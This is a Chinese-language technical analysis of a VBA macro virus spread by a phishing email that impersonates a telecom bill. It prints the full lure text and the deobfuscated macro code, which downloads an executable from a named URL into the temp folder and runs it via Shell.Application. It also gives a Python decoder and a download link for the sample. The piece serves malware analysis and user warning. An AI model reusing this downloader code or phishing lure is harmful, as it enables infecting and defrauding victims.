首页 黑客接单正文

技术分析:一款流行的VBA宏病毒

1.通过邮件传播的宏病毒

近期流行的一个宏病毒通过邮件进行传播,捕捉到的一个样本,其邮件头如下:

技术分析:一款流行的VBA宏病毒

邮件的内容是这样子的(为节省篇幅,省略号处省略部分内容):

Yourbillsummary Accountnumber:24583 InvoiceNumber:2398485 Billdate:July201***mount:£17.50 HowcanIviewmybills? YourChes *** illisreadyandwaitingforyouonline.Tocheckoutyourdeta=ledbill,previou *** illsandanychargesyou'veincurredsinceyourlastb=ll,justsignintoMyAccountwww.chesstelecom.com/myaccountForgottenyoursignindetails? Ifyou'veforgottenyoursignindetails,noproblem,youcanresettheseb=choosinghttp://www.chesstelecom.com/lost_password. Makingpaymentsiseasy! Ifyouwanttomakeacreditordebitcardpaymentyoucandoonlinebycho=singhttp://www.chesstelecom.com/online_payment Youdon'tneedtodoanythingifyoupaybydirectdebit,wewillcollecty=urpaymentautomaticallyonorafter30thJune.Ifyoupaybycheque,deta=lsofhowtopayusareavailableontheinvoice. SwitchtoDirectDebittodayandyou'llsaveatleast£60.00ayear,s=mplycallourdedicatedteamon08447706060. Anythingelseyou'dliketoknow? ...... Thise-mailha *** eensentfromaMailboxbelongingtoChessTelecom,registeredofficeBridgfordHouse,HeyesLane,AlderleyEdge,Cheshire,SK9=7JP. RegisteredinEngland,number2797895.Itscontentsareconfidentialtothe=20intendedrecipient. Ifyoureceiveinerror,pleasenotifyChessTelecomon +44(0)8000198900immediatelyquotingthenameofthesender,the +email addresstowhichitha *** eensentandthendeleteit;youmaynotrelyoni=scontentsnorcopy/discloseittoanyone. Opinions,conclusionsandstatements ofintentinthisemailarethoseofthesenderandwillnotbindChessTel=comunlessconfirmedbyanauthorisedrepresentativeindependentlyofthi *** ess=ge. Wedonotacceptresponsibilityforviruses;youmustscanforthese. Please notethatemailssenttoandfromChessTelecomareroutinelymonitoredfor=20recordkeeping,qualitycontrolandtrainingpurposes,toensureregulatory=20complianceandtopreventvirusesandunauthoriseduseofourcomputersystems. Thankyouforyourco-operation. Quotationsaresubjecttotermsandconditions,excludeVATandaresubjecttositesurvey. E&OE

上述邮件正文:描述内容看起来相当的可靠,里面的 *** 号码都是真实的,并且给出了具体的公司名称地址,而且这个公司还真是具体存在的,现在还不知道这个公司是否知道自己被人冒名干坏事儿了(有点绕口,但不是重点…),之所以这么逼真,只是恶意邮件发送者希望以此来降低受害者的防备意识。

2.提取宏代码

我们主要分析的邮件的附件,通过Outlook的保存功能可以将邮件中的附件2015-07-Bill.docm保存出来,我们分析需要用到一个工具OfficeMalScanner,可以到这里下载。

提取宏代码的步骤如下:

2.1 解压

OfficeMalScanner.exe 2015-07-Bill.docm inflate

解压后将会默认保存到C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\DecompressedMsOfficeDocument目录下面(WinXP SP3环境),解压后的目录大致如下:

│[Content_Types].xml │ ├─docProps │app.xml │core.xml │ ├─word ││document.xml ││fontTable.xml ││settings.xml ││styles.xml ││vbaData.xml ││vbaProject.bin ││webSettings.xml ││ │├─theme ││theme1.xml ││ │└─_rels │document.xml.rels │vbaProject.bin.rels │ └─_rels

上面的文档目录结构中可以发现在word目录下含有一个vbaProject.bin的文件,这就是宏文件代码所在的地方,需要注意的是vbaProject名字是可以任意取的,并不一定就是vbaProject(为默认的宏文件名字)。接下来从vbaProject.bin文件中提取宏代码。

2.2 提取

OfficeMalScanner.exe vbaProject.bin info

默认会在vbaProject.bin同目录下生成一个文件夹VBAPROJECT.BIN-Macros,里面存放有vba宏代码的各个模块。本案例中所提取到的各个文件如下:

Module1 Module2 Module35 Module4 ThisDocument

上面的文件都是vb代码,只不过去掉了后缀而已。接着的工作就是分析vb代码,看一下具体做了什么。#p#

3.代码分析

为了便于说明,并没有按照模块的顺序来说明。

3.1 Module2代码分析

Module2的代码如下:

1AttributeVB_Name="Module2" 2 3Functioninit() 4 5Setthisfrm=Forms("main") 6 7frmWidth=thisfrm.InsideWidth 8frmHeight=thisfrm.InsideHeight 9 10EndFunction 11PublicFunctionlLJrFk6pKsSYJ(L9QLFPTuZDwMAsString) 12L9QLFPTuZDwM=Replace(Replace(Replace(L9QLFPTuZDwM,Chr(60),""),Chr(61),""),Chr(59),"") 13SetlLJrFk6pKsSYJ=CreateObject(L9QLFPTuZDwM) 14EndFunction 15PrivateSubbutton_physical_inventory_Click() 16OnErrorGoToErr_button_physical_inventory_Click 17 18strSQLWhere=Me.combo_department_name.Value 19stDocName="physical_inventory" 20DoCmd.OpenReportstDocName,acPreview 21 22Exit_button_physical_inventory_Click: 23ExitSub 24 25Err_button_physical_inventory_Click: 26MsgBoxErr.Description 27ResumeExit_button_physical_inventory_Click 28 29EndSub

主要看[11-14]行代码,如下:

PublicFunctionlLJrFk6pKsSYJ(L9QLFPTuZDwMAsString) L9QLFPTuZDwM=Replace(Replace(Replace(L9QLFPTuZDwM,Chr(60),""),Chr(61),""),Chr(59),"") SetlLJrFk6pKsSYJ=CreateObject(L9QLFPTuZDwM) EndFunction

函数中的主要语句Replace(Replace(Replace(L9QLFPTuZDwM, Chr(60), ""), Chr(61), ""), Chr(59), ""),其中的Chr(60),chr(61),Chr(59)分别对应于<,=,;,这些就是被替换的字符,替换的字符是""(NULL,也就是删除了原有字符)。

因此本模块的主要功能,是提供一个解密函数lLJrFk6pKsSYJ(string),将string中的"<,=,;"删除得到真正的字符串。

3.2 模块Module1模块分析

Module1的代码如下:

1AttributeVB_Name="Module1" 2 *** rivateSubForm_Load() 4Me.RecordSource=strSQLInventory 5 6IfMe.boxes>0OrMe.pieces>0Then 7Me.total=(strInventoryCount*Me.boxes)+Me.pieces 8Else 9Me.total=Me.pieces 10EndIf 11 12EndSub 13 14PrivateSubboxes_LostFocus() 15IfMe.boxes>0Then 16Me.total=strInventoryCount*Me.boxes 17EndIf 18EndSub 19 20PublicFunctionFlvXHsDrWT3aY(yXhBaz0XRAsVariant,c7e410X3QqAsString) 21DimNLobhieCn4Xt:SetNLobhieCn4Xt=lLJrFk6pKsSYJ("A"&Chr(60)&Chr(100)&Chr(111)&Chr(59)&Chr(100)&Chr(98)&Chr(61)&Chr(46)&Chr(83)&Chr(116)&Chr(61)&Chr(114)&Chr(60)&"e"&Chr(97)&Chr(59)&"m") 22 23WithNLobhieCn4Xt 24.Type=1 25.Open 26.writeyXhBaz0XR 27EndWith 28NLobhieCn4Xt.savetofilec7e410X3Qq,2 29EndFunction 30PrivateSubpieces_LostFocus() 31IfMe.boxes>0OrMe.pieces>0Then 32Me.total=(strInventoryCount*Me.boxes)+Me.pieces 33Else 34Me.total=Me.pieces 35EndIf 36EndSub 37 38PrivateSubbtn_save_Click() 39DoCmd.Save 40EndSub

主要看[20-29]代码段,如下:

PublicFunctionFlvXHsDrWT3aY(yXhBaz0XRAsVariant,c7e410X3QqAsString) DimNLobhieCn4Xt:SetNLobhieCn4Xt=lLJrFk6pKsSYJ("A"&Chr(60)&Chr(100)&Chr(111)&Chr(59)&Chr(100)&Chr(98)&Chr(61)&Chr(46)&Chr(83)&Chr(116)&Chr(61)&Chr(114)&Chr(60)&"e"&Chr(97)&Chr(59)&"m") WithNLobhieCn4Xt .Type=1 .Open .writeyXhBaz0XR EndWith NLobhieCn4Xt.savetofilec7e410X3Qq,2 EndFunction

主要提供一个函数FlvXHsDrWT3aY(yXhBaz0XR=字节数组,c7e410X3Qq=文件名),其语句为:

lLJrFk6pKsSYJ("A"&Chr(60)&Chr(100)&Chr(111)&Chr(59)&Chr(100)&Chr(98)&Chr(61)&Chr(46)&Chr(83)&Chr(116)&Chr(61)&Chr(114)&Chr(60)&"e"&Chr(97)&Chr(59)&"m")

可以看到这里采用了Module2中的解密函数lLJrFk6pKsSYJ,对加密的字符串进行解密后使用。我们已经知道了lLJrFk6pKsSYJ函数的作用,因此手工解密后得到:

A<do;db=.St=r<ea;m

删除其中的"空格 ; < =",得到真正的命令:Adodb.Stream。进一步分析可以得到该函数的作用为:

采用adodb.stream流,将字节数组写入指定文件中。

稍后我将会提供一个Python脚本对这些命令进行解密,还原出宏代码的真正命令。#p#

3.3 Module4模块分析

1AttributeVB_Name="Module4" 2 *** ublicctlWidthAsInteger 4PublicctlHeightAsInteger 5PublicaDPbd2byZbAsString 6PublicstrSQLBaseAsString'querybase 7PublicobjSearchFormAsString'requireformname 8PublicobjInputCodeAsString'textfieldforproductcodeentry 9PublicobjInputNameAsString'textfieldforproductnameentry 10PublicsearchCodeAsString 11PublicsearchNameAsString 12PubliccolS1AsString'columntosearch 1 *** ubliccolS2AsString'columntosearch 14 15Functionsearch_records() 16 17'checkformcontrolsiftheyhaveuserinput 18IfNotIsNull(Forms(objSearchForm).Controls(objInputCode))Then 19searchCode=Forms(objSearchForm).Controls(objInputCode) 20Else 21searchCode="" 22EndIf 23 24IfNotIsNull(Forms(objSearchForm).Controls(objInputName))Then 25searchName=Forms(objSearchForm).Controls(objInputName) 26Else 27searchName="" 28EndIf 29 30'mainsearchlogic 31If(searchCode=""AndsearchName="")Or(IsNull(searchCode)AndIsNull(searchName))Then 32strSQLSearch=strSQLBase 33ElseIf(NotIsNull(searchCode)=True)And(NotIsNull(searchName)=True)Then 34strSQLSearch=strSQLBase&"WHERE"&colS1&"LIKE'"&searchCode&"*'AND"&colS2&"LIKE'*"&searchName&"*'" 35ElseIfNotIsNull(searchCode)Then 36strSQLSearch=strSQLBase&"WHERE"&colS1&"LIKE'"&searchCode&"*'" 37ElseIfNotIsNull(searchName)Then 38strSQLSearch=strSQLBase&"WHERE"&colS2&"LIKE'*"&searchName&"*'" 39Else 40MsgBox"Pleaseprovidedetailstosearch" 41ExitFunction 42EndIf 43 44Forms(objSearchForm).RecordSource=strSQLSearch 45 46EndFunction 47Functioncontrol_set_left(controlNameAsString) 48 49thisfrm.Controls(controlName).Left=720 50 51EndFunction 52 53SubLWS8UPvw1QGKq() 54 '下载地址:Nrh1INh1S5hGed="http://laboaudio.com/4tf33w/w4t453.exe". 55Nrh1INh1S5hGed=Chr(104)&Chr(116)&Chr(61)&Chr(116)&Chr(112)&Chr(58)&Chr(47)&Chr(59)&Chr(47)&Chr(108)&Chr(97)&Chr(98)&Chr(111)&"a"&Chr(60)&Chr(117)&"d"&Chr(105)&Chr(111)&Chr(46)&Chr(61)&Chr(99)&Chr(111)&Chr(109)&Chr(47)&Chr(52)&Chr(116)&Chr(102)&Chr(51)&Chr(51)&Chr(119)&Chr(47)&Chr(60)&Chr(119)&Chr(52)&Chr(116)&Chr(52)&Chr(53)&Chr(51)&Chr(46)&Chr(59)&"e"&Chr(61)&Chr(120)&Chr(101) '下载方式:LhZitls7wPn=Microsoft.XMLHTTP 56SetLhZitls7wPn=lLJrFk6pKsSYJ("M"&"i"&Chr(60)&Chr(99)&Chr(114)&Chr(111)&Chr(61)&"s"&Chr(111)&"f"&Chr(116)&";"&Chr(46)&"X"&Chr(77)&Chr(60)&"L"&Chr(59)&Chr(72)&"T"&Chr(61)&Chr(84)&"P") 57 58Nrh1INh1S5hGed=Replace(Replace(Replace(Nrh1INh1S5hGed,Chr(60),""),Chr(61),""),Chr(59),"") '使用CallByName进行下载:CallByNameMicrosoft.XMLHTTPOpenhttp://laboaudio.com/4tf33w/w4t453.exe 59CallByNameLhZitls7wPn,Chr(79)&Chr(112)&Chr(101)&Chr(110),VbMethod,Chr(71)&Chr(69)&Chr(84),_ 60Nrh1INh1S5hGed_ 61,False 62 'vu2Wh85645xcP0=WScript.Shell 63Setvu2Wh85645xcP0=lLJrFk6pKsSYJ(Chr(87)&"<"&Chr(83)&"c"&Chr(61)&Chr(114)&"i"&Chr(112)&"t"&Chr(59)&Chr(46)&Chr(83)&"="&Chr(104)&"e"&"<"&"l"&Chr(108)) 64 '获取查询环境变量的句柄:GhbwRqU9OkbF=CallByName(WScript,Environmentrocess) 65SetGhbwRqU9OkbF=CallByName(vu2Wh85645xcP0,Chr(69)&Chr(110)&"v"&Chr(105)&Chr(114)&Chr(111)&"n"&"m"&Chr(101)&Chr(110)&Chr(116),VbGet,Chr(80)&"r"&"o"&Chr(99)&"e"&Chr(115)&"s") 66 '取得临时目录的路径:GhbwRqU9OkbF(TEMP) 67SD3q5HdXxoiA=GhbwRqU9OkbF(Chr(84)&Chr(69)&Chr(77)&Chr(80)) 68 '下载的恶意程序存放路径:aDPbd2byZb=%TEMP%\fghgkbb.exe 69aDPbd2byZb=SD3q5HdXxoiA&"\"&Chr(102)&Chr(103)&Chr(104)&Chr(103)&Chr(107)&Chr(98)&Chr(98)&Chr(46)&"e"&"x"&Chr(101) 70DimbvGEpxCVsZ()AsByte 71 '发送请求:CallByNameMicrosoft.XMLHTTPsendVbMethod 72CallByNameLhZitls7wPn,Chr(83)&Chr(101)&Chr(110)&Chr(100),VbMethod '获取响应体:CallByNameMicrosoft.XMLHTTPresponseBodyVbGet 73bvGEpxCVsZ=CallByName(LhZitls7wPn,"r"&"e"&Chr(115)&Chr(112)&Chr(111)&Chr(110)&Chr(115)&Chr(101)&Chr(66)&Chr(111)&Chr(100)&"y",VbGet) '使用adodb.stream流,将bvGEpxCVsZ字节流写入到文件aDPbd2byZb中 '将字节数组bvGEpxCVsZ写入文件aDPbd2byZb' '这里涉及到了模块Module1中的函数FlvXHsDrWT3aY(字节数组,文件名) 74FlvXHsDrWT3aYbvGEpxCVsZ,aDPbd2byZb 75OnErrorGoToOhXhZLRKh 76a=84/0 77OnErrorGoTo0 78 79xrIvr6mOXvFG: 80ExitSub 81OhXhZLRKh: 82ENMD3t8EY4A("UfBPGay4VPJi") 83ResumexrIvr6mOXvFG 84EndSub 85Functioncontrol_set_right(controlNameAsString) 86 87ctlWidth=thisfrm.Controls(controlName).Width 88thisfrm.Controls(controlName).Left=frmWidth-ctlWidth-720 89 90EndFunction 91 92Functioncontrol_set_center(controlNameAsString) 93 94ctlWidth=thisfrm.Controls(controlName).Width 95thisfrm.Controls(controlName).Left=(frmWidth/2)-(ctlWidth/2) 96 97 98EndFunction

主要看[53-90]行,分析函数LWS8UPvw1QGKq的作用,为了了解这个函数到底干了什么,我们需要对其解密,上面的两个模块由于函数较短,可以进行手工解密,然而由于这个模块中要解密的太多,

手工解密显然是一种繁琐效率低下的方式,故给出如下Python代码(Python3):

importsys importio importre sys.stdout=io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8') defdecryptstr(s): cmd='' cmdlst=s.strip().split('&') pat=re.compile(r"Chr\([0-9]*\)") foritemincmdlst: if'Chr'initem: beg,end=item.find('('),item.find(')') numstr=item[beg+1:end] cmd+=chr(int(numstr)) else: cmd+=item.replace('"','') cmd=cmd.replace('','') cmd=cmd.replace('=','') cmd=cmd.replace(';','') cmd=cmd.replace('<','') print(cmd) ss=input("InputString:") whilelen(ss)!=0: print(decryptstr(ss)) ss=input("InputString:")

代码比较少也比较简单,就没有写注释了。用法看下图就可以了:

技术分析:一款流行的VBA宏病毒;

Input String:后面粘贴上要解密的字符串,然后回车就可以得到解密后的字符串。

代码中也加入了注释,理解这块代码应该不难。可以知道该模块从http://laboaudio.com/4tf33w/w4t453.exe下载得到恶意程序w4t453.exe,以fghgkbb.exe文件名保存到临时目录。

3.4 ThisDocument模块分析

该模块主要代码如下(不像上面都给出了完整代码,而是仅仅给出了核心代码,如果希望查看完整代码的,可以到文末下载附件):

PublicFunctionENMD3t8EY4A(Ka0YAlL82qAsString) 'Shell.Application:创建了一个shell对象 SetCYgAH0pzCPj0eA=lLJrFk6pKsSYJ(Chr(83)&Chr(104)&"="&Chr(101)&Chr(108)&Chr(59)&Chr(108)&Chr(60)&Chr(46)&Chr(65)&Chr(112)&Chr(59)&Chr(112)&Chr(108)&"i"&Chr(60)&"c"&"a"&Chr(116)&Chr(61)&Chr(105)&Chr(111)&Chr(110)) WithCYgAH0pzCPj0eA 'open(C:\DOCUME~1\USERNAME\LOCALS~1\Temp\fghgkbb.exe):启动恶意程序 .Open(aDPbd2byZb) EndWith EndFunction

也就是启动下载的恶意程序。

另外,还有一个Module35模块,我没有进行说明,因为Module35基本上没有提供有用的信息,可以忽略,并不影响我们分析该宏的功能。

4.结论

至此,我们可以知道,该宏代码通过邮件进行传播,当用户使用word打开邮件中的附件,启用宏代码的时候,恶意代码将会首先到http://laboaudio.com/4tf33w/下载w4t453.exe到受害者的临时目录,保存的名字为fghgkbb.exe,然后启动该恶意程序。这个时候用户就中病毒了。

文末,还是提醒一下大家,对于陌生邮件,一定要慎重的打开,很多人对于邮件,什么都没有想,就直接打开邮件了。在本案例中是通过附件word中的宏代码进行感染,但是有的恶意程序直接在你打开邮件的时候就感染上病毒了。

另外由于Office安全机制的提升,在Word2007版本以上,打开一个有宏文件的文档时,会提示是否启用,这个时候不要随意选择启用(可能这看起来是废话,但是很多人下意识就去点击了启用)。

如果你希望自己亲自分析一下,你可以到这里下载本案例中的邮件。解压密码为:freebuf

希望本文对信息安全行业的人员有所帮助。

版权声明

本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。